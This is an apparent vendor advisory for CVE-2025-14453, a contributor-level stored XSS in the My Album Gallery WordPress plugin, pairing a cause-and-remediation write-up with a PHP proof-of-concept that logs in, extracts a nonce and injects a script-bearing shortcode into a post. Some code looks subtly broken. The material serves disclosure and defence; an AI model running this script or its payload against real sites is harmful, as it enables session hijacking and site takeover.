Atomic Edge analysis of CVE-2025-14453 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the My Album Gallery WordPress plugin, affecting versions up to and including 1.0.4. The vulnerability resides in the plugin’s handling of the ‘style_css’ attribute within a shortcode. Attackers with Contributor-level privileges or higher can inject malicious scripts that execute when a user views a compromised page.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on the ‘style_css’ shortcode attribute. The plugin likely accepts this attribute value from user-controlled content, such as a post or page editor, and directly echoes it into the page without proper context-aware escaping. This inference is based on the CWE-79 classification and the vulnerability description, which explicitly cites insufficient sanitization and escaping. Without a code diff, this conclusion is derived from the standard failure pattern for shortcode attribute XSS in WordPress.
Exploitation requires an authenticated user with at least the Contributor role. The attacker creates or edits a post or page, inserting the plugin’s shortcode with a malicious ‘style_css’ attribute payload. For example, a payload like `style_css=”>alert(document.domain)` could be used. When the post is saved and subsequently viewed by any user, the injected script executes in the victim’s browser. The attack vector is the WordPress editor interface where shortcodes are processed.
Remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions like `esc_attr()` when outputting the ‘style_css’ attribute value within an HTML tag context. Input sanitization for shortcode attributes should also be strengthened, potentially using `sanitize_text_field()` or a custom validation routine. A patch would involve modifying the shortcode handler function to apply these security measures.
Successful exploitation leads to stored XSS. Attackers can perform actions within the context of a victim’s session. This can result in session hijacking, defacement of site pages, or redirection to malicious sites. For administrators, this could facilitate privilege escalation or site takeover by stealing cookies or manipulating administrative interfaces. The scope change (S:C) in the CVSS vector indicates the impact can spread to other site components beyond the plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14453 - My Album Gallery <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style_css' Shortcode Attribute
<?php
// CONFIGURATION
$target_url = 'http://target-site.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$exploit_post_id = 123; // ID of a post the contributor can edit
// PAYLOAD: Inject JavaScript via the style_css shortcode attribute.
// Assumes the plugin registers a shortcode like [my_album_gallery] or similar.
// The exact shortcode tag is inferred from the plugin name.
$malicious_shortcode = '[my_album_gallery style_css=""><script>alert(`Atomic Edge XSS: ${document.domain}`)</script>"]';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
// STEP 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('[-] Authentication failed. Check credentials.');
}
echo '[+] Authentication successful.n';
// STEP 2: Retrieve the post edit page to obtain a valid nonce.
// Assumes the contributor accesses the classic editor via post.php.
$edit_url = $target_url . '/wp-admin/post.php?post=' . $exploit_post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);
// Extract nonce for updating the post. Pattern for classic editor nonce.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
// Try for block editor (Gutenberg) REST API nonce from page source.
preg_match('/"nonce":"([a-f0-9]+)"/', $edit_page, $nonce_matches);
}
if (empty($nonce_matches[1])) {
die('[-] Could not extract security nonce. Post may not be editable or editor type differs.');
}
$nonce = $nonce_matches[1];
echo '[+] Retrieved nonce: ' . $nonce . 'n';
// STEP 3: Update the post content with the malicious shortcode.
// This uses the classic editor POST request to post.php.
$update_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
$update_fields = [
'post_ID' => $exploit_post_id,
'content' => $malicious_shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => urlencode($edit_url),
'action' => 'editpost',
'save' => 'Update'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post published.') !== false) {
echo '[+] Successfully injected malicious shortcode into post ID ' . $exploit_post_id . '.n';
echo '[+] Visit the post to trigger the XSS payload.n';
} else {
echo '[-] Post update may have failed. Response inspection recommended.n';
}
curl_close($ch);
?>
